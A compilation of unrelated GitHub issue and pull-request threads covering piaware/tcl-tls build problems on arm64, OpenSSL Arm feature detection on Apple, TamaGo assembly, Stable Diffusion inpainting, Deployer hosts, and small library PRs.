Nov  6 17:15:22 server piaware[947]: mlat-client(162519):   File "/home/pi/piaware_builder/package-bullseye/debian/venv/lib/python3.9/site-packages/cx_Freeze-6.8.3-py3.9-linux-aarch64.egg/cx_Freeze/initscripts/startup.py", line 113, in run
Nov  6 17:15:22 server piaware[947]: mlat-client(162519):     module_init.run(name + "main")
Nov  6 17:15:22 server piaware[947]: mlat-client(162519):   File "/home/pi/piaware_builder/package-bullseye/debian/venv/lib/python3.9/site-packages/cx_Freeze-6.8.3-py3.9-linux-aarch64.egg/cx_Freeze/initscripts/Console.py", line 15, in run
Nov  6 17:15:22 server piaware[947]: mlat-client(162519):     exec(code, module_main.dict)
Nov  6 17:15:22 server piaware[947]: mlat-client(162519):   File "/home/pi/piaware_builder/package-bullseye/debian/venv/bin/fa-mlat-client", line 4, in
Nov  6 17:15:22 server piaware[947]: mlat-client(162519):     import('pkg_resources').run_script('MlatClient==0.2.12', 'fa-mlat-client')
Nov  6 17:15:22 server piaware[947]: mlat-client(162519): ModuleNotFoundError: No module named 'pkg_resources'
Nov  6 17:15:22 server piaware[947]: got EOF from multilateration client
Nov  6 17:15:22 server piaware[947]: fa-mlat-client exited with EXIT 255

Can you provide all the steps to reproduce this? Did you build this on a standard Bullseye image?

Yes, plain vanilla setup of bullseye; built and installed according to the instructions (piaware_builder plus https://github.com/flightaware/dump1090/blob/dev/README.md).

After installation and reboot, I find above messages in the log

Attached the built arm64 package piaware_8.0~dev_arm64.deb.zip

ModuleNotFoundError: No module named 'pkg_resources'

Try installing python3-setuptools if you don't have it installed.
I tried your the package you built and it's complaining about some missing dependencies. I built it manually myself and it seems to be working ok.
Try
piaware_8.0~dev_arm64.deb.zip

Thanks and it was already installed: python3-setuptools is already the newest version (52.0.0-4)

@by you ever get up and running on arm64? looks like I'm in tcl dependency hell
sudo dpkg -i piaware_8.2_arm64.deb
Selecting previously unselected package piaware.
(Reading database ... 68487 files and directories currently installed.)
Preparing to unpack piaware_8.2_arm64.deb ...
Unpacking piaware (8.2) ...
dpkg: dependency problems prevent configuration of piaware:
 piaware depends on tcl-tls (>= 1.7.22-2+fa1); however:
  Version of tcl-tls:arm64 on system is 1.7.22-2.

dpkg: error processing package piaware (--install):
 dependency problems - leaving unconfigured
Processing triggers for libc-bin (2.31-13+rpt2+rpi1+deb11u5) ...
Processing triggers for rsyslog (8.2102.0-2+deb11u1) ...
Processing triggers for man-db (2.9.4-2) ...
Errors were encountered while processing:

Yes, @rromanchuk , both with @abcd567a's packaged version from https://github.com/abcd567a/rpi and also compiling it myself via the instructions at https://github.com/flightaware/piaware_builder on https://github.com/flightaware/piaware/tree/dev and https://github.com/flightaware/dump1090/tree/dev.
tcl-wise, I have those packages installed:

tcl-dev/stable,now 8.6.11+1 arm64 [installed]
tcl-tls/unknown,now 1.7.22-2+fa1 arm64 [installed]
tcl8.6-dev/stable,now 8.6.11+dfsg-1 arm64 [installed]
tcl8.6/stable,now 8.6.11+dfsg-1 arm64 [installed]
tcl/stable,now 8.6.11+1 arm64 [installed,automatic]
tcllib/stable,stable,now 1.20+dfsg-1 all [installed]
tclx8.4/stable,now 8.4.1-4 arm64 [installed]

Don't forget the comment

If you are running a version of Debian that includes packages newer than those in Debian Buster, then the version constraint won't matter - but you should still check that you have a package version that actually fixes the problem!

P.S.: Starting point was Raspberry Pi OS light from https://www.raspberrypi.com/software/operating-systems/#raspberry-pi-os-64-bit
P.S.2: The only remaining question is why MLAT does not run with my own build but @abcd567a's...

My pre-built package for 64-bit bullseye for RaspberryPi OS (https://github.com/abcd567a/rpi) works without any issue of MLAT because before building piaware package, I did NOT install tcl-tls from repository by command "apt install tcl-tls". Instead, I built it using flightaware source code "tcltls-rebuilt", installed tcl-tls package built, and then only proceeded with building package for piaware using flightaware source coude piaware_builder.
Building & Installing tcl-tls from source code.
(1) Installing tcl-tls dependencies
sudo apt install -y libssl-dev
sudo apt install -y tcl-dev
sudo apt install -y chrpath

(2)Cloning tcltls-rebuild source code and building the package
git clone https://github.com/flightaware/tcltls-rebuild
cd tcltls-rebuild

./prepare-build.sh bullseye
cd package-bullseye
sudo dpkg-buildpackage -b --no-sign

(3) Installing tcl-tls package

cd ../
sudo dpkg -i tcl-tls_*.deb
```

thanks this is probably where things went wrong. I ran adsbexchange setup scripts first and noticed broken mlat, and also apt installed tcl-tls before running piaware_builder.
I missed your images when digging around, going to just start over and use them

@abcd567a thanks for doing this, up and running in literally 2 minutes from flash

Thanks @abcd567a ; running bullseye, I've got confused by the part "If you are running a version of Debian that includes packages newer than those in Debian Buster, then the version constraint won't matter" of

If you are running a version of Debian that includes packages newer than those in Debian Buster, then the version constraint won't matter - but you should still check that you have a package version that actually fixes the problem!

P.S.: Actually, not so much a change: while MLAT seems to work here in general, too, the original issue, it being marked as red at https://de.flightaware.com/adsb/stats/user/[my username] still persists...


Use the new Firebase API

Hi team,
I moved this from here: https://github.com/MicrosoftDocs/azure-docs.zh-tw/issues/601
(the comments below were machine-translated)
@w9wen commented 10 hours ago — with docs.microsoft.com
Due to the update to the new version, the [IntentFilter (new [] {"com.google.firebase.INSTANCE_ID_EVENT"})] section should be cancelled.
Otherwise it will appear
java.lang.InstantiationException: java.lang.Class <com.google.firebase.iid.FirebaseInstanceIdReceiver> cannot be instantiated
mistake

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 2a03ab5f-3dda-f469-33e0-9504c90d468c
Version Independent ID: 4f8e4309-cd06-f09f-00f0-d978b3d16777
Content: Send push notifications to Xamarin.Android apps using Azure Notification Hubs
Content Source: articles/notification-hubs/xamarin-notification-hubs-push-notifications-android-gcm.md
Service: notification-hubs
GitHub Login: @sethmanheim
Microsoft Alias: sethm

Thanks for the feedback! I have assigned the issue to the content author to investigate further and update the document as appropriate.

@CeciAc Thank you for the feedback, we are in the process of updating this article. Thanks again... #please-close


what does WORD mean in rt0_tamago_arm.s?

Is "WORD $0xe10f0000" represent a machine code?
runtime/rt0_tamago_arm.s
TEXT _rt0_arm_tamago(SB),NOSPLIT,$0
	// Detect HYP mode and switch to SVC if necessary
	WORD	$0xe10f0000	// mrs r0, CPSR
	AND	$0x1f, R0, R0	// get processor mode

	CMP	$0x10, R0	// USR mode
	B.EQ	runtime_start	// Skip initialization if USER mode

	CMP	$0x1a, R0	// HYP mode
	B.NE	after_eret	// Skip ERET if not HYP mode

	BIC	$0x1f, R0
	ORR	$0x1d3, R0	// AIF masked, SVC mode
	MOVW	$12(R15), R14	// add lr, pc, #12 (after_eret)
	WORD	$0xe16ff000	// msr SPSR_fsxc, r0
	WORD	$0xe12ef30e	// msr ELR_hyp, lr
	WORD	$0xe160006e	// eret0

Please see section "Unsupported opcodes" here. Also please note that Github Issues are not the best media for general question, favor<EMAIL_ADDRESS>or our discussion group for that. Thanks!


Multiple masks cause confused output

Hi,
Thanks for providing this amazing capability for SD!
I had a question for multiple objects placed in the image. Sometimes I'm finding if two masks are provided for the image inpainting (via canny or segments) it causes confused output. For example, a canny outline for an apple and a canny outline for a succulent plant is given. Once inpainting is done it will at times try to squeeze the green plant into the apple. At times it may not draw the second object at all.
Was training done with multiple objects provided? And is there a way to better achieve this?
Thanks!

I’ve noticed this as well.

have you solve this problem? @darshats

Was training done with multiple objects provided?

I don't think so as Stable Diffusion doesn't recognize "spatial" keywords anyway ("apple at upper left corner") and suffers from concept bleeding ("red apple and green plant" doesn't work, see "regional prompting").

And is there a way to better achieve this?

do a multi step approach: inpaint first object, inpaint second object


TOMEE-2332 MP-jwt-jwk example

Implemented the MP-jwt for JWKs public key example.
Also included the usage of MP-rest-client for testing.

@jeanouii I've changed and improved the README and pom.xml based on your comments.

Looks great @cotnic . Merged!


Arm feature detection on Apple platforms should use sysctlbyname

As discussed in #14838, the SIGILL-based feature detection that OpenSSL uses on Arm is incorrect and causes problems. On Apple platforms, the API to use is sysctlbyname:
https://developer.apple.com/documentation/kernel/1387446-sysctlbyname/determining_instruction_set_characteristics
OpenSSL broadly uses sysctlbyname, but still runs the probing mechanism on Apple platforms. It just happens to filter out the not-always-available features on this line:
https://github.com/openssl/openssl/blob/aa2d7e0ee15d1b7015479c38f370a25ceec690fc/crypto/armcap.c#L345
But then later PRs regressed this by not similarly guarding such features: #17916 and #15361. I ran into this because OpenSSL's regression here seems to interfere with debugging things on macOS with lldb, but the SIGILL mechanism is also not thread-safe.
But that limited __APPLE__ guard is also the wrong way to do this. Instead one should completely disable the SIGILL mechanism on platforms where a real API is available. Indeed, as it's not thread-safe, best not to have it at all and just use the correct APIs on all platforms, combined with the preprocessor defines from ACLE to handle always-available features since older Apple platforms didn't provide runtime detection for such features. (BoringSSL handles all its detection without SIGILL.)

Is there any way to handle the big.LITTLE problems where features differ across cores and are wrongly attempted?

Yup, by removing the SIGILL probing as I've been suggesting. :-) BoringSSL does not have any SIGILL code and we've never run into any problems of that nature. The expectation is the OS APIs are supposed to smooth over differences across the cores.

I agree we shouldn't be doing the SIGILL probing on Apple Silicon. I've been working on a set of changes to tidy up armcap.c which include that. Note that in general operation these tests are benign as long as they pass, and as long as you're not in lldb (which has hit me too!).

Looking forward to the PR.

Could https://github.com/openssl/openssl/commit/52a38144b019cfda6b0e5eaa0aca88ae11661a26 (or a minimal version of it) be backported to the 3.1 branch?

It is a feature/refactoring. If someone backports it OTC can consider approving it for merge to 3.1 (possibly 3.0 as well).

It is a feature/refactoring. If someone backports it OTC can consider approving it for merge to 3.1 (possibly 3.0 as well).

Well, some change related to this between 3.0.8 & 3.1.0 ended up breaking debugging of CPython on osx-arm, which is causing people to have to come up with work-arounds (see https://github.com/python/cpython/issues/99079).
That's why I said "or a minimal version of it" - it's a pity that the change is combined with a clean-up & refactoring, but it should be backported in some form. I'm glad @oraluben opened #20948 already, thanks!
For context (from discussion in the linked issue but primarily here), CPython maintainers (I am not one of them) are so concerned by the volume of problems with OpenSSL 3 that people have been seriously considering delaying the move to OpenSSL 3 even beyond the EOL of 1.1.1, or changing away from OpenSSL entirely. I mention the perception of one big downstream dependency in case people happen to care about such things, as not backporting a fix would likely pile onto that displeasure.

Added a note in the PR with the OTC question.


[communication] phonenumber enable browser aad test

Use ClientSecretCredential for AAD Browser tests so we no longer need to skip them
Also updated some tests to use mock tokens as they did not need to test with real token creds, and we no longer skip them

/azp run js - communication-phone-numbers - tests

/azp run js - communication-phone-numbers - tests

/azp run js - communication-phone-numbers - tests


Set a host as default for short command

Q
A

Issue Type
Feature Request

Description
I define 2 hosts (test & live) to deploy my project. Because I often have 1 host per project (only test) so I often run with short command dep deploy, since after having 2 hosts, the short command also working but it run on 2 hosts sequentially (I don't want deploy to live host this time :( ).
Is there any options to require the host name in the command (if have multiple hosts) or set a host as default with it?
I am not sure if Deployer has this option about this because I could not find it on the Wiki https://deployer.org/docs/hosts.html

@lbngoc If I got your question correctly, you should specify stage parameter for each host. For example, stage: test and stage: live in yaml config (or via ->stage()). Then specify set('default_stage', 'test'); in the deploy.php. Next time dep deploy will be run on hosts with stage = default_stage. BTW, I recommend specifying stage explicitly every time: dep deploy test.
Also, you could specify the target hostname directly: dep deploy <hostname>. You didn't share your server inventory config, so I can't help you with concrete command.

Thanks you for that! It's working.
I only define 2 hosts in inventory file without stage param, so that the short command is run all on 2 hosts.


🚧 workflow env implementation (emailjs)

add space for better visibility
add env variable with secret GITHUB

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Comparison is base (bbd2d69) 100.00% compared to head (196fb2e) 100.00%.
Report is 10 commits behind head on development.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@              Coverage Diff              @@
##           development       #29   +/-   ##
=============================================
  Coverage       100.00%   100.00%
=============================================
  Files                2         2
  Lines                5         5
=============================================
  Hits                 5         5

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Different types of lines for B/W print

@shaunporwal I am using Python. Is there any option to select different types of lines so one can tell the difference if printed in B/W?

@gurpreetpabla Apologies for getting to this so late, one solution would be to use the dca function to create the DCA dataframe and plot the net benefit values using matplotlib yourself rather than using the plot_graphs function in this package. I can add support for different types of lines later, but this won't be available in the immediate future.


preview-search-result open global code search results file in modal preview

The goal here is to recreate a feature I really loved from https://grep.app. See:

Allowing you to flip through full files like this let me stay in-context while searching much more easily. Using GitHub and their default search behaviour, one has to jump back n forth between tabs all the time and it feels super annoying.
With this refined-github feature, I've added little icon buttons next to the filename in the global code search results page. When clicked they open the contents of the respective file in a dialog element. This dialog element also has a header with the filename and three buttons:

copy contents
open in background tab
close dialog

Anyway, this is my first refined-github feature so I'd be happy about any feedback or any ways to do this more effectively!
One somewhat major thing I haven't implemented, but that I would really love to have working here, is syntax highlighting in the dialog file previews. Any idea how to leverage GitHub's built-in syntax highlighting CSS here? :thinking:
Test URLs
https://github.com/search?q=tauri&type=code
Screenshot

I was hoping to use this as the screenshot in the features json, however I'm not sure where I can upload it now that GitHub has disabled hotlinking from most places :thinking:

This is an impressive PR given the correct use of a lot of our utilities 🙏 but it's rather "complex" for Refined GitHub's standards and it opens a whole can of worms: content previews.
There's a lot of content that can be previewed a way or another and I've always pushed back on that. If you have to click on something and wait for it to load, I think there's not substantial advantage to just clicking on it and… waiting for it to load in the regular view.
Given that this also lacks some useful features that users expect (syntax highlighting, line numbers, etc) I think it just opens the door to more work and more complexity down the line. I'd suggest publishing this as a userscript or a standalone extension

Hey so I appreciate that it might be a bit much for refined-github.
But if I were to get syntax highlighting and line numbers working, would you consider adding it?

The rest of the reasons still apply, and also those two pieces would likely also make it even more complex

The rest of the reasons still apply, and also those two pieces would likely also make it even more complex

Gotcha, fair enough. Just wanted to see if its worth it for me to push this PR further or pivot to my own extension or something

If anyone comes across this, I've added syntax highlighting and line numbers and made it a standalone extension here: https://github.com/ndom91/github-search-preview


Make assert_eq_type rely on a trait bound

This makes assert_eq_type work with types involving lifetimes.

Awesome, thanks! Please add a test case that shows it working with a type with a lifetime.
Please add this to a new "Fixed" section under "Unreleased".
Interesting that this doesn't pass the test where assert_eq_type!(String, str) fails on Rust 1.24. Please find the minimum version that this works on and update the Travis config to reflect it. Also, state the new minimum supported Rust version under a new "Changed" section in CHANGELOG.md and prefix it with "[breaking]".

I fixed the 1.24.0 regression, which makes this patch non-breaking;

I had forgotten a bunch of ?Sized bounds.

That last failure has nothing to do with my patch, doesn't it?

No, the failure was a compile failure expected with the nightly feature flag when the example should work in that case. I'm surprised it didn't happen earlier.

Could we release 0.3.4 with this please?

Sure thing! I was holding out a bit to see if I could come up with more things to add to the next release but I'm happy with the current state of things.